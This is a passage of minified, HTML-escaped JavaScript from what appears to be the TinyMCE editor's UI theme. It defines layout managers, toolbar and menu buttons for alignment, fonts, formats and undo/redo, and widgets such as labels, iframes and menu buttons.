t=e.layoutRect(),n=e.paddingBox;e.items().filter(&quot;:visible&quot;).each(function(e){e.layoutRect({x:n.left,y:n.top,w:t.innerW-n.right-n.left,h:t.innerH-n.top-n.bottom}),e.recalc&amp;&amp;e.recalc()})}}),yi=Xt.extend({recalc:function(e){var t,n,i,r,o,s,a,l,u,c,d,f,h,m,g,p,v,b,y,x,w,_,R,C,E,k,H,S,T,M,N,P,W,D,O,A,B,L=[],z=Math.max,I=Math.min;for(i=e.items().filter(&quot;:visible&quot;),r=e.layoutRect(),o=e.paddingBox,s=e.settings,f=e.isRtl()?s.direction||&quot;row-reversed&quot;:s.direction,a=s.align,l=e.isRtl()?s.pack||&quot;end&quot;:s.pack,u=s.spacing||0,&quot;row-reversed&quot;!==f&amp;&amp;&quot;column-reverse&quot;!==f||(i=i.set(i.toArray().reverse()),f=f.split(&quot;-&quot;)[0]),&quot;column&quot;===f?(C=&quot;y&quot;,_=&quot;h&quot;,R=&quot;minH&quot;,E=&quot;maxH&quot;,H=&quot;innerH&quot;,k=&quot;top&quot;,S=&quot;deltaH&quot;,T=&quot;contentH&quot;,D=&quot;left&quot;,P=&quot;w&quot;,M=&quot;x&quot;,N=&quot;innerW&quot;,W=&quot;minW&quot;,O=&quot;right&quot;,A=&quot;deltaW&quot;,B=&quot;contentW&quot;):(C=&quot;x&quot;,_=&quot;w&quot;,R=&quot;minW&quot;,E=&quot;maxW&quot;,H=&quot;innerW&quot;,k=&quot;left&quot;,S=&quot;deltaW&quot;,T=&quot;contentW&quot;,D=&quot;top&quot;,P=&quot;h&quot;,M=&quot;y&quot;,N=&quot;innerH&quot;,W=&quot;minH&quot;,O=&quot;bottom&quot;,A=&quot;deltaH&quot;,B=&quot;contentH&quot;),d=r[H]-o[k]-o[k],w=c=0,t=0,n=i.length;t&lt;n;t++)m=(h=i[t]).layoutRect(),d-=t&lt;n-1?u:0,0&lt;(g=h.settings.flex)&amp;&amp;(c+=g,m[E]&amp;&amp;L.push(h),m.flex=g),d-=m[R],w&lt;(p=o[D]+m[W]+o[O])&amp;&amp;(w=p);if((y={})[R]=d&lt;0?r[R]-d+r[S]:r[H]-d+r[S],y[W]=w+r[A],y[T]=r[H]-d,y[B]=w,y.minW=I(y.minW,r.maxW),y.minH=I(y.minH,r.maxH),y.minW=z(y.minW,r.startMinWidth),y.minH=z(y.minH,r.startMinHeight),!r.autoResize||y.minW===r.minW&amp;&amp;y.minH===r.minH){for(b=d/c,t=0,n=L.length;t&lt;n;t++)(v=(m=(h=L[t]).layoutRect())[E])&lt;(p=m[R]+m.flex*b)?(d-=m[E]-m[R],c-=m.flex,m.flex=0,m.maxFlexSize=v):m.maxFlexSize=0;for(b=d/c,x=o[k],y={},0===c&amp;&amp;(&quot;end&quot;===l?x=d+o[k]:&quot;center&quot;===l?(x=Math.round(r[H]/2-(r[H]-d)/2)+o[k])&lt;0&amp;&amp;(x=o[k]):&quot;justify&quot;===l&amp;&amp;(x=o[k],u=Math.floor(d/(i.length-1)))),y[M]=o[D],t=0,n=i.length;t&lt;n;t++)p=(m=(h=i[t]).layoutRect()).maxFlexSize||m[R],&quot;center&quot;===a?y[M]=Math.round(r[N]/2-m[P]/2):&quot;stretch&quot;===a?(y[P]=z(m[W]||0,r[N]-o[D]-o[O]),y[M]=o[D]):&quot;end&quot;===a&amp;&amp;(y[M]=r[N]-m[P]-o.top),0&lt;m.flex&amp;&amp;(p+=m.flex*b),y[_]=p,y[C]=x,h.layoutRect(y),h.recalc&amp;&amp;h.recalc(),x+=p+u}else if(y.w=y.minW,y.h=y.minH,e.layoutRect(y),this.recalc(e),null===e._lastRect){var F=e.parent();F&amp;&amp;(F._lastRect=null,F.recalc())}}}),xi=qt.extend({Defaults:{containerClass:&quot;flow-layout&quot;,controlClass:&quot;flow-layout-item&quot;,endClass:&quot;break&quot;},recalc:function(e){e.items().filter(&quot;:visible&quot;).each(function(e){e.recalc&amp;&amp;e.recalc()})},isNative:function(){return!0}}),wi=function(e,t){return n=t,r=(i=e)===undefined?_.document:i.dom(),qn(r)?N.none():N.from(r.querySelector(n)).map(gn.fromDom);var n,i,r},_i=function(e,t){return function(){e.execCommand(&quot;mceToggleFormat&quot;,!1,t)}},Ri=function(e,t,n){var i=function(e){n(e,t)};e.formatter?e.formatter.formatChanged(t,i):e.on(&quot;init&quot;,function(){e.formatter.formatChanged(t,i)})},Ci=function(e,n){return function(t){Ri(e,n,function(e){t.control.active(e)})}},Ei=function(i){var t=[&quot;alignleft&quot;,&quot;aligncenter&quot;,&quot;alignright&quot;,&quot;alignjustify&quot;],r=&quot;alignleft&quot;,e=[{text:&quot;Left&quot;,icon:&quot;alignleft&quot;,onclick:_i(i,&quot;alignleft&quot;)},{text:&quot;Center&quot;,icon:&quot;aligncenter&quot;,onclick:_i(i,&quot;aligncenter&quot;)},{text:&quot;Right&quot;,icon:&quot;alignright&quot;,onclick:_i(i,&quot;alignright&quot;)},{text:&quot;Justify&quot;,icon:&quot;alignjustify&quot;,onclick:_i(i,&quot;alignjustify&quot;)}];i.addMenuItem(&quot;align&quot;,{text:&quot;Align&quot;,menu:e}),i.addButton(&quot;align&quot;,{type:&quot;menubutton&quot;,icon:r,menu:e,onShowMenu:function(e){var n=e.control.menu;w.each(t,function(t,e){n.items().eq(e).each(function(e){return e.active(i.formatter.match(t))})})},onPostRender:function(e){var n=e.control;w.each(t,function(t,e){Ri(i,t,function(e){n.icon(r),e&amp;&amp;n.icon(t)})})}}),w.each({alignleft:[&quot;Align left&quot;,&quot;JustifyLeft&quot;],aligncenter:[&quot;Align center&quot;,&quot;JustifyCenter&quot;],alignright:[&quot;Align right&quot;,&quot;JustifyRight&quot;],alignjustify:[&quot;Justify&quot;,&quot;JustifyFull&quot;],alignnone:[&quot;No alignment&quot;,&quot;JustifyNone&quot;]},function(e,t){i.addButton(t,{active:!1,tooltip:e[0],cmd:e[1],onPostRender:Ci(i,t)})})},ki=function(e){return e?e.split(&quot;,&quot;)[0]:&quot;&quot;},Hi=function(l,u){return function(){var a=this;a.state.set(&quot;value&quot;,null),l.on(&quot;init nodeChange&quot;,function(e){var t,n,i,r,o=l.queryCommandValue(&quot;FontName&quot;),s=(t=u,r=(n=o)?n.toLowerCase():&quot;&quot;,w.each(t,function(e){e.value.toLowerCase()===r&amp;&amp;(i=e.value)}),w.each(t,function(e){i||ki(e.value).toLowerCase()!==ki(r).toLowerCase()||(i=e.value)}),i);a.value(s||null),!s&amp;&amp;o&amp;&amp;a.text(ki(o))})}},Si=function(n){n.addButton(&quot;fontselect&quot;,function(){var e,t=(e=function(e){for(var t=(e=e.replace(/;$/,&quot;&quot;).split(&quot;;&quot;)).length;t--;)e[t]=e[t].split(&quot;=&quot;);return e}(n.settings.font_formats||&quot;Andale Mono=andale mono,monospace;Arial=arial,helvetica,sans-serif;Arial Black=arial black,sans-serif;Book Antiqua=book antiqua,palatino,serif;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier,monospace;Georgia=georgia,palatino,serif;Helvetica=helvetica,arial,sans-serif;Impact=impact,sans-serif;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco,monospace;Times New Roman=times new roman,times,serif;Trebuchet MS=trebuchet ms,geneva,sans-serif;Verdana=verdana,geneva,sans-serif;Webdings=webdings;Wingdings=wingdings,zapf dingbats&quot;),w.map(e,function(e){return{text:{raw:e[0]},value:e[1],textStyle:-1===e[1].indexOf(&quot;dings&quot;)?&quot;font-family:&quot;+e[1]:&quot;&quot;}}));return{type:&quot;listbox&quot;,text:&quot;Font Family&quot;,tooltip:&quot;Font Family&quot;,values:t,fixedWidth:!0,onPostRender:Hi(n,t),onselect:function(e){e.control.settings.value&amp;&amp;n.execCommand(&quot;FontName&quot;,!1,e.control.settings.value)}}})},Ti=function(e){Si(e)},Mi=function(e,t){return/[0-9.]+px$/.test(e)?(n=72*parseInt(e,10)/96,i=t||0,r=Math.pow(10,i),Math.round(n*r)/r+&quot;pt&quot;):e;var n,i,r},Ni=function(e,t,n){var i;return w.each(e,function(e){e.value===n?i=n:e.value===t&amp;&amp;(i=t)}),i},Pi=function(n){n.addButton(&quot;fontsizeselect&quot;,function(){var e,s,a,t=(e=n.settings.fontsize_formats||&quot;8pt 10pt 12pt 14pt 18pt 24pt 36pt&quot;,w.map(e.split(&quot; &quot;),function(e){var t=e,n=e,i=e.split(&quot;=&quot;);return 1&lt;i.length&amp;&amp;(t=i[0],n=i[1]),{text:t,value:n}}));return{type:&quot;listbox&quot;,text:&quot;Font Sizes&quot;,tooltip:&quot;Font Sizes&quot;,values:t,fixedWidth:!0,onPostRender:(s=n,a=t,function(){var o=this;s.on(&quot;init nodeChange&quot;,function(e){var t,n,i,r;if(t=s.queryCommandValue(&quot;FontSize&quot;))for(i=3;!r&amp;&amp;0&lt;=i;i--)n=Mi(t,i),r=Ni(a,n,t);o.value(r||null),r||o.text(n)})}),onclick:function(e){e.control.settings.value&amp;&amp;n.execCommand(&quot;FontSize&quot;,!1,e.control.settings.value)}}})},Wi=function(e){Pi(e)},Di=function(n,e){var i=e.length;return w.each(e,function(e){e.menu&amp;&amp;(e.hidden=0===Di(n,e.menu));var t=e.format;t&amp;&amp;(e.hidden=!n.formatter.canApply(t)),e.hidden&amp;&amp;i--}),i},Oi=function(n,e){var i=e.items().length;return e.items().each(function(e){e.menu&amp;&amp;e.visible(0&lt;Oi(n,e.menu)),!e.menu&amp;&amp;e.settings.menu&amp;&amp;e.visible(0&lt;Di(n,e.settings.menu));var t=e.settings.format;t&amp;&amp;e.visible(n.formatter.canApply(t)),e.visible()||i--}),i},Ai=function(e){var i,r,o,t,s,n,a,l,u=(r=0,o=[],t=[{title:&quot;Headings&quot;,items:[{title:&quot;Heading 1&quot;,format:&quot;h1&quot;},{title:&quot;Heading 2&quot;,format:&quot;h2&quot;},{title:&quot;Heading 3&quot;,format:&quot;h3&quot;},{title:&quot;Heading 4&quot;,format:&quot;h4&quot;},{title:&quot;Heading 5&quot;,format:&quot;h5&quot;},{title:&quot;Heading 6&quot;,format:&quot;h6&quot;}]},{title:&quot;Inline&quot;,items:[{title:&quot;Bold&quot;,icon:&quot;bold&quot;,format:&quot;bold&quot;},{title:&quot;Italic&quot;,icon:&quot;italic&quot;,format:&quot;italic&quot;},{title:&quot;Underline&quot;,icon:&quot;underline&quot;,format:&quot;underline&quot;},{title:&quot;Strikethrough&quot;,icon:&quot;strikethrough&quot;,format:&quot;strikethrough&quot;},{title:&quot;Superscript&quot;,icon:&quot;superscript&quot;,format:&quot;superscript&quot;},{title:&quot;Subscript&quot;,icon:&quot;subscript&quot;,format:&quot;subscript&quot;},{title:&quot;Code&quot;,icon:&quot;code&quot;,format:&quot;code&quot;}]},{title:&quot;Blocks&quot;,items:[{title:&quot;Paragraph&quot;,format:&quot;p&quot;},{title:&quot;Blockquote&quot;,format:&quot;blockquote&quot;},{title:&quot;Div&quot;,format:&quot;div&quot;},{title:&quot;Pre&quot;,format:&quot;pre&quot;}]},{title:&quot;Alignment&quot;,items:[{title:&quot;Left&quot;,icon:&quot;alignleft&quot;,format:&quot;alignleft&quot;},{title:&quot;Center&quot;,icon:&quot;aligncenter&quot;,format:&quot;aligncenter&quot;},{title:&quot;Right&quot;,icon:&quot;alignright&quot;,format:&quot;alignright&quot;},{title:&quot;Justify&quot;,icon:&quot;alignjustify&quot;,format:&quot;alignjustify&quot;}]}],s=function(e){var i=[];if(e)return w.each(e,function(e){var t={text:e.title,icon:e.icon};if(e.items)t.menu=s(e.items);else{var n=e.format||&quot;custom&quot;+r++;e.format||(e.name=n,o.push(e)),t.format=n,t.cmd=e.cmd}i.push(t)}),i},(i=e).on(&quot;init&quot;,function(){w.each(o,function(e){i.formatter.register(e.name,e)})}),{type:&quot;menu&quot;,items:i.settings.style_formats_merge?i.settings.style_formats?s(t.concat(i.settings.style_formats)):s(t):s(i.settings.style_formats||t),onPostRender:function(e){i.fire(&quot;renderFormatsMenu&quot;,{control:e.control})},itemDefaults:{preview:!0,textStyle:function(){if(this.settings.format)return i.formatter.getCssText(this.settings.format)},onPostRender:function(){var n=this;n.parent().on(&quot;show&quot;,function(){var e,t;(e=n.settings.format)&amp;&amp;(n.disabled(!i.formatter.canApply(e)),n.active(i.formatter.match(e))),(t=n.settings.cmd)&amp;&amp;n.active(i.queryCommandState(t))})},onclick:function(){this.settings.format&amp;&amp;_i(i,this.settings.format)(),this.settings.cmd&amp;&amp;i.execCommand(this.settings.cmd)}}});n=u,e.addMenuItem(&quot;formats&quot;,{text:&quot;Formats&quot;,menu:n}),l=u,(a=e).addButton(&quot;styleselect&quot;,{type:&quot;menubutton&quot;,text:&quot;Formats&quot;,menu:l,onShowMenu:function(){a.settings.style_formats_autohide&amp;&amp;Oi(a,this.menu)}})},Bi=function(n,e){return function(){var r,o,s,t=[];return w.each(e,function(e){t.push({text:e[0],value:e[1],textStyle:function(){return n.formatter.getCssText(e[1])}})}),{type:&quot;listbox&quot;,text:e[0][0],values:t,fixedWidth:!0,onselect:function(e){if(e.control){var t=e.control.value();_i(n,t)()}},onPostRender:(r=n,o=t,function(){var t=this;r.on(&quot;nodeChange&quot;,function(e){var n=r.formatter,i=null;w.each(e.parents,function(t){if(w.each(o,function(e){if(s?n.matchNode(t,s,{value:e.value})&amp;&amp;(i=e.value):n.matchNode(t,e.value)&amp;&amp;(i=e.value),i)return!1}),i)return!1}),t.value(i)})})}}},Li=function(e){var t,n,i=function(e){for(var t=(e=e.replace(/;$/,&quot;&quot;).split(&quot;;&quot;)).length;t--;)e[t]=e[t].split(&quot;=&quot;);return e}(e.settings.block_formats||&quot;Paragraph=p;Heading 1=h1;Heading 2=h2;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading 6=h6;Preformatted=pre&quot;);e.addMenuItem(&quot;blockformats&quot;,{text:&quot;Blocks&quot;,menu:(t=e,n=i,w.map(n,function(e){return{text:e[0],onclick:_i(t,e[1]),textStyle:function(){return t.formatter.getCssText(e[1])}}}))}),e.addButton(&quot;formatselect&quot;,Bi(e,i))},zi=function(t,e){var n,i;if(&quot;string&quot;==typeof e)i=e.split(&quot; &quot;);else if(w.isArray(e))return function(e){for(var t=[],n=0,i=e.length;n&lt;i;++n){if(!V(e[n]))throw new Error(&quot;Arr.flatten item &quot;+n+&quot; was not an array, input: &quot;+e);X.apply(t,e[n])}return t}(w.map(e,function(e){return zi(t,e)}));return n=w.grep(i,function(e){return&quot;|&quot;===e||e in t.menuItems}),w.map(n,function(e){return&quot;|&quot;===e?{text:&quot;-&quot;}:t.menuItems[e]})},Ii=function(e){return e&amp;&amp;&quot;-&quot;===e.text},Fi=function(n){var i=Z(n,function(e,t){return!Ii(e)||!Ii(n[t-1])});return Z(i,function(e,t){return!Ii(e)||0&lt;t&amp;&amp;t&lt;i.length-1})},Ui=function(e){var t,n,i,r,o=e.settings.insert_button_items;return Fi(o?zi(e,o):(t=e,n=&quot;insert&quot;,i=[{text:&quot;-&quot;}],r=w.grep(t.menuItems,function(e){return e.context===n}),w.each(r,function(e){&quot;before&quot;===e.separator&amp;&amp;i.push({text:&quot;|&quot;}),e.prependToContext?i.unshift(e):i.push(e),&quot;after&quot;===e.separator&amp;&amp;i.push({text:&quot;|&quot;})}),i))},Vi=function(e){var t;(t=e).addButton(&quot;insert&quot;,{type:&quot;menubutton&quot;,icon:&quot;insert&quot;,menu:[],oncreatemenu:function(){this.menu.add(Ui(t)),this.menu.renderNew()}})},Yi=function(e){var n,i,r;n=e,w.each({bold:&quot;Bold&quot;,italic:&quot;Italic&quot;,underline:&quot;Underline&quot;,strikethrough:&quot;Strikethrough&quot;,subscript:&quot;Subscript&quot;,superscript:&quot;Superscript&quot;},function(e,t){n.addButton(t,{active:!1,tooltip:e,onPostRender:Ci(n,t),onclick:_i(n,t)})}),i=e,w.each({outdent:[&quot;Decrease indent&quot;,&quot;Outdent&quot;],indent:[&quot;Increase indent&quot;,&quot;Indent&quot;],cut:[&quot;Cut&quot;,&quot;Cut&quot;],copy:[&quot;Copy&quot;,&quot;Copy&quot;],paste:[&quot;Paste&quot;,&quot;Paste&quot;],help:[&quot;Help&quot;,&quot;mceHelp&quot;],selectall:[&quot;Select all&quot;,&quot;SelectAll&quot;],visualaid:[&quot;Visual aids&quot;,&quot;mceToggleVisualAid&quot;],newdocument:[&quot;New document&quot;,&quot;mceNewDocument&quot;],removeformat:[&quot;Clear formatting&quot;,&quot;RemoveFormat&quot;],remove:[&quot;Remove&quot;,&quot;Delete&quot;]},function(e,t){i.addButton(t,{tooltip:e[0],cmd:e[1]})}),r=e,w.each({blockquote:[&quot;Blockquote&quot;,&quot;mceBlockQuote&quot;],subscript:[&quot;Subscript&quot;,&quot;Subscript&quot;],superscript:[&quot;Superscript&quot;,&quot;Superscript&quot;]},function(e,t){r.addButton(t,{active:!1,tooltip:e[0],cmd:e[1],onPostRender:Ci(r,t)})})},$i=function(e){var n;Yi(e),n=e,w.each({bold:[&quot;Bold&quot;,&quot;Bold&quot;,&quot;Meta+B&quot;],italic:[&quot;Italic&quot;,&quot;Italic&quot;,&quot;Meta+I&quot;],underline:[&quot;Underline&quot;,&quot;Underline&quot;,&quot;Meta+U&quot;],strikethrough:[&quot;Strikethrough&quot;,&quot;Strikethrough&quot;],subscript:[&quot;Subscript&quot;,&quot;Subscript&quot;],superscript:[&quot;Superscript&quot;,&quot;Superscript&quot;],removeformat:[&quot;Clear formatting&quot;,&quot;RemoveFormat&quot;],newdocument:[&quot;New document&quot;,&quot;mceNewDocument&quot;],cut:[&quot;Cut&quot;,&quot;Cut&quot;,&quot;Meta+X&quot;],copy:[&quot;Copy&quot;,&quot;Copy&quot;,&quot;Meta+C&quot;],paste:[&quot;Paste&quot;,&quot;Paste&quot;,&quot;Meta+V&quot;],selectall:[&quot;Select all&quot;,&quot;SelectAll&quot;,&quot;Meta+A&quot;]},function(e,t){n.addMenuItem(t,{text:e[0],icon:t,shortcut:e[2],cmd:e[1]})}),n.addMenuItem(&quot;codeformat&quot;,{text:&quot;Code&quot;,icon:&quot;code&quot;,onclick:_i(n,&quot;code&quot;)})},qi=function(n,i){return function(){var e=this,t=function(){var e=&quot;redo&quot;===i?&quot;hasRedo&quot;:&quot;hasUndo&quot;;return!!n.undoManager&amp;&amp;n.undoManager[e]()};e.disabled(!t()),n.on(&quot;Undo Redo AddUndo TypingUndo ClearUndos SwitchMode&quot;,function(){e.disabled(n.readonly||!t())})}},Xi=function(e){var t,n;(t=e).addMenuItem(&quot;undo&quot;,{text:&quot;Undo&quot;,icon:&quot;undo&quot;,shortcut:&quot;Meta+Z&quot;,onPostRender:qi(t,&quot;undo&quot;),cmd:&quot;undo&quot;}),t.addMenuItem(&quot;redo&quot;,{text:&quot;Redo&quot;,icon:&quot;redo&quot;,shortcut:&quot;Meta+Y&quot;,onPostRender:qi(t,&quot;redo&quot;),cmd:&quot;redo&quot;}),(n=e).addButton(&quot;undo&quot;,{tooltip:&quot;Undo&quot;,onPostRender:qi(n,&quot;undo&quot;),cmd:&quot;undo&quot;}),n.addButton(&quot;redo&quot;,{tooltip:&quot;Redo&quot;,onPostRender:qi(n,&quot;redo&quot;),cmd:&quot;redo&quot;})},ji=function(e){var t,n;(t=e).addMenuItem(&quot;visualaid&quot;,{text:&quot;Visual aids&quot;,selectable:!0,onPostRender:(n=t,function(){var t=this;n.on(&quot;VisualAid&quot;,function(e){t.active(e.hasVisual)}),t.active(n.hasVisual)}),cmd:&quot;mceToggleVisualAid&quot;})},Ji={setup:function(e){var t;e.rtl&amp;&amp;(rt.rtl=!0),e.on(&quot;mousedown progressstate&quot;,function(){Ct.hideAll()}),(t=e).settings.ui_container&amp;&amp;(ce.container=wi(gn.fromDom(_.document.body),t.settings.ui_container).fold(k(null),function(e){return e.dom()})),Nt.tooltips=!ce.iOS,rt.translate=function(e){return l.translate(e)},Li(e),Ei(e),$i(e),Xi(e),Wi(e),Ti(e),Ai(e),ji(e),Vi(e)}},Gi=Xt.extend({recalc:function(e){var t,n,i,r,o,s,a,l,u,c,d,f,h,m,g,p,v,b,y,x,w,_,R,C,E,k,H,S,T=[],M=[];t=e.settings,r=e.items().filter(&quot;:visible&quot;),o=e.layoutRect(),i=t.columns||Math.ceil(Math.sqrt(r.length)),n=Math.ceil(r.length/i),b=t.spacingH||t.spacing||0,y=t.spacingV||t.spacing||0,x=t.alignH||t.align,w=t.alignV||t.align,p=e.paddingBox,S=&quot;reverseRows&quot;in t?t.reverseRows:e.isRtl(),x&amp;&amp;&quot;string&quot;==typeof x&amp;&amp;(x=[x]),w&amp;&amp;&quot;string&quot;==typeof w&amp;&amp;(w=[w]);for(d=0;d&lt;i;d++)T.push(0);for(f=0;f&lt;n;f++)M.push(0);for(f=0;f&lt;n;f++)for(d=0;d&lt;i&amp;&amp;(c=r[f*i+d]);d++)C=(u=c.layoutRect()).minW,E=u.minH,T[d]=C&gt;T[d]?C:T[d],M[f]=E&gt;M[f]?E:M[f];for(k=o.innerW-p.left-p.right,d=_=0;d&lt;i;d++)_+=T[d]+(0&lt;d?b:0),k-=(0&lt;d?b:0)+T[d];for(H=o.innerH-p.top-p.bottom,f=R=0;f&lt;n;f++)R+=M[f]+(0&lt;f?y:0),H-=(0&lt;f?y:0)+M[f];if(_+=p.left+p.right,R+=p.top+p.bottom,(l={}).minW=_+(o.w-o.innerW),l.minH=R+(o.h-o.innerH),l.contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH,l.minW=Math.min(l.minW,o.maxW),l.minH=Math.min(l.minH,o.maxH),l.minW=Math.max(l.minW,o.startMinWidth),l.minH=Math.max(l.minH,o.startMinHeight),!o.autoResize||l.minW===o.minW&amp;&amp;l.minH===o.minH){var N;o.autoResize&amp;&amp;((l=e.layoutRect(l)).contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH),N=&quot;start&quot;===t.packV?0:0&lt;H?Math.floor(H/n):0;var P=0,W=t.flexWidths;if(W)for(d=0;d&lt;W.length;d++)P+=W[d];else P=i;var D=k/P;for(d=0;d&lt;i;d++)T[d]+=W?W[d]*D:D;for(m=p.top,f=0;f&lt;n;f++){for(h=p.left,a=M[f]+N,d=0;d&lt;i&amp;&amp;(c=r[S?f*i+i-1-d:f*i+d]);d++)g=c.settings,u=c.layoutRect(),s=Math.max(T[d],u.startMinWidth),u.x=h,u.y=m,&quot;center&quot;===(v=g.alignH||(x?x[d]||x[0]:null))?u.x=h+s/2-u.w/2:&quot;right&quot;===v?u.x=h+s-u.w:&quot;stretch&quot;===v&amp;&amp;(u.w=s),&quot;center&quot;===(v=g.alignV||(w?w[d]||w[0]:null))?u.y=m+a/2-u.h/2:&quot;bottom&quot;===v?u.y=m+a-u.h:&quot;stretch&quot;===v&amp;&amp;(u.h=a),c.layoutRect(u),h+=s+b,c.recalc&amp;&amp;c.recalc();m+=a+y}}else if(l.w=l.minW,l.h=l.minH,e.layoutRect(l),this.recalc(e),null===e._lastRect){var O=e.parent();O&amp;&amp;(O._lastRect=null,O.recalc())}}}),Ki=Nt.extend({renderHtml:function(){var e=this;return e.classes.add(&quot;iframe&quot;),e.canFocus=!1,&#039;&lt;iframe id=&quot;&#039;+e._id+&#039;&quot; class=&quot;&#039;+e.classes+&#039;&quot; tabindex=&quot;-1&quot; src=&quot;&#039;+(e.settings.url||&quot;javascript:&#039;&#039;&quot;)+&#039;&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;&#039;},src:function(e){this.getEl().src=e},html:function(e,t){var n=this,i=this.getEl().contentWindow.document.body;return i?(i.innerHTML=e,t&amp;&amp;t()):u.setTimeout(function(){n.html(e)}),this}}),Zi=Nt.extend({init:function(e){this._super(e),this.classes.add(&quot;widget&quot;).add(&quot;infobox&quot;),this.canFocus=!1},severity:function(e){this.classes.remove(&quot;error&quot;),this.classes.remove(&quot;warning&quot;),this.classes.remove(&quot;success&quot;),this.classes.add(e)},help:function(e){this.state.set(&quot;help&quot;,e)},renderHtml:function(){var e=this,t=e.classPrefix;return&#039;&lt;div id=&quot;&#039;+e._id+&#039;&quot; class=&quot;&#039;+e.classes+&#039;&quot;&gt;&lt;div id=&quot;&#039;+e._id+&#039;-body&quot;&gt;&#039;+e.encode(e.state.get(&quot;text&quot;))+&#039;&lt;button role=&quot;button&quot; tabindex=&quot;-1&quot;&gt;&lt;i class=&quot;&#039;+t+&quot;ico &quot;+t+&#039;i-help&quot;&gt;&lt;/i&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&#039;},bindStates:function(){var t=this;return t.state.on(&quot;change:text&quot;,function(e){t.getEl(&quot;body&quot;).firstChild.data=t.encode(e.value),t.state.get(&quot;rendered&quot;)&amp;&amp;t.updateLayoutRect()}),t.state.on(&quot;change:help&quot;,function(e){t.classes.toggle(&quot;has-help&quot;,e.value),t.state.get(&quot;rendered&quot;)&amp;&amp;t.updateLayoutRect()}),t._super()}}),Qi=Nt.extend({init:function(e){var t=this;t._super(e),t.classes.add(&quot;widget&quot;).add(&quot;label&quot;),t.canFocus=!1,e.multiline&amp;&amp;t.classes.add(&quot;autoscroll&quot;),e.strong&amp;&amp;t.classes.add(&quot;strong&quot;)},initLayoutRect:function(){var e=this,t=e._super();return e.settings.multiline&amp;&amp;(we.getSize(e.getEl()).width&gt;t.maxW&amp;&amp;(t.minW=t.maxW,e.classes.add(&quot;multiline&quot;)),e.getEl().style.width=t.minW+&quot;px&quot;,t.startMinH=t.h=t.minH=Math.min(t.maxH,we.getSize(e.getEl()).height)),t},repaint:function(){return this.settings.multiline||(this.getEl().style.lineHeight=this.layoutRect().h+&quot;px&quot;),this._super()},severity:function(e){this.classes.remove(&quot;error&quot;),this.classes.remove(&quot;warning&quot;),this.classes.remove(&quot;success&quot;),this.classes.add(e)},renderHtml:function(){var e,t,n=this,i=n.settings.forId,r=n.settings.html?n.settings.html:n.encode(n.state.get(&quot;text&quot;));return!i&amp;&amp;(t=n.settings.forName)&amp;&amp;(e=n.getRoot().find(&quot;#&quot;+t)[0])&amp;&amp;(i=e._id),i?&#039;&lt;label id=&quot;&#039;+n._id+&#039;&quot; class=&quot;&#039;+n.classes+&#039;&quot;&#039;+(i?&#039; for=&quot;&#039;+i+&#039;&quot;&#039;:&quot;&quot;)+&quot;&gt;&quot;+r+&quot;&lt;/label&gt;&quot;:&#039;&lt;span id=&quot;&#039;+n._id+&#039;&quot; class=&quot;&#039;+n.classes+&#039;&quot;&gt;&#039;+r+&quot;&lt;/span&gt;&quot;},bindStates:function(){var t=this;return t.state.on(&quot;change:text&quot;,function(e){t.innerHtml(t.encode(e.value)),t.state.get(&quot;rendered&quot;)&amp;&amp;t.updateLayoutRect()}),t._super()}}),er=lt.extend({Defaults:{role:&quot;toolbar&quot;,layout:&quot;flow&quot;},init:function(e){this._super(e),this.classes.add(&quot;toolbar&quot;)},postRender:function(){return this.items().each(function(e){e.classes.add(&quot;toolbar-item&quot;)}),this._super()}}),tr=er.extend({Defaults:{role:&quot;menubar&quot;,containerCls:&quot;menubar&quot;,ariaRoot:!0,defaults:{type:&quot;menubutton&quot;}}}),nr=jt.extend({init:function(e){var t=this;t._renderOpen=!0,t._super(e),e=t.settings,t.classes.add(&quot;menubtn&quot;),e.fixedWidth&amp;&amp;t.classes.add(&quot;fixed-width&quot;),t.aria(&quot;haspopup&quot;,!0),t.state.set(&quot;menu&quot;,e.menu||t.render())},showMenu:function(e){var t,n=this;if(n.menu&amp;&amp;n.menu.visible()&amp;&amp;!1!==e)return n.hideMenu();n.menu||(t=n.state.get(&quot;menu&quot;)||[],n.classes.add(&quot;opened&quot;),t.length?t={type:&quot;menu&quot;,animate:!0,items:t}:(t.type=t.type||&quot;menu&quot;,t.animate=!0),t.renderTo?n.menu=t.parent(n).show().renderTo():n.menu=v.create(t).parent(n).renderTo(),n.fire(&quot;createmenu&quot;),n.menu.reflow(),n.menu.on(&quot;cancel&quot;,function(e){e.control.parent()===n.menu&amp;&amp;(e.stopPropagation(),n.focus(),n.hideMenu())}),n.menu.on(&quot;select&quot;,function(){n.focus()}),n.menu.on(&quot;show hide&quot;,function(e){&quot;hide&quot;===e.type&amp;&amp;e.control.parent()===n&amp;&amp;n.classes.remove(&quot;opened-under&quot;),e.control===n.menu&amp;&amp;(n.activeMenu(&quot;show&quot;===e.type),n.classes.toggle(&quot;opened&quot;,&quot;show&quot;===e.type)),n.aria(&quot;expanded&quot;,&quot;show&quot;===e.type)}).fire(&quot;show&quot;)),n.menu.show(),n.menu.layoutRect({w:n.layoutRect().w}),n.menu.repaint(),n.menu.moveRel(n.getEl(),n.isRtl()?[&quot;br-tr&quot;,&quot;tr-br&quot;]:[&quot;bl-tl&quot;,&quot;tl-bl&quot;]);var i=n.menu.layoutRect(),r=n.$el.offset().top+n.layoutRect().h;r&gt;i.y&amp;&amp;r&lt;i.y+i.h&amp;&amp;n.classes.add(&quot;opened-under&quot;),n.fire(&quot;showmenu&quot;)},hideMenu:function(){this.menu&amp;&amp;(this.menu.items().each(function(e){e.hideMenu&amp;&amp;e.hideMenu()}),this.menu.hide())},activeMenu:function(e){this.classes.toggle(&quot;active&quot;,e)},renderHtml:function(){var e,t=this,n=t._id,i=t.classPrefix,r=t.settings.icon,o=t.state.get(&quot;text&quot;),s=&quot;&quot;;return(e=t.settings.image)?(r=&quot;none&quot;,&quot;string&quot;!=typeof e&amp;&amp;(e=_.window.getSelection?e[0]:e[1]),e=&quot; style=\&quot;background-image: url(&#039;&quot;+e+&quot;&#039;)\&quot;&quot;):e=&quot;&quot;,o&amp;&amp;(t.classes.add(&quot;btn-has-text&quot;),s=&#039;&lt;span 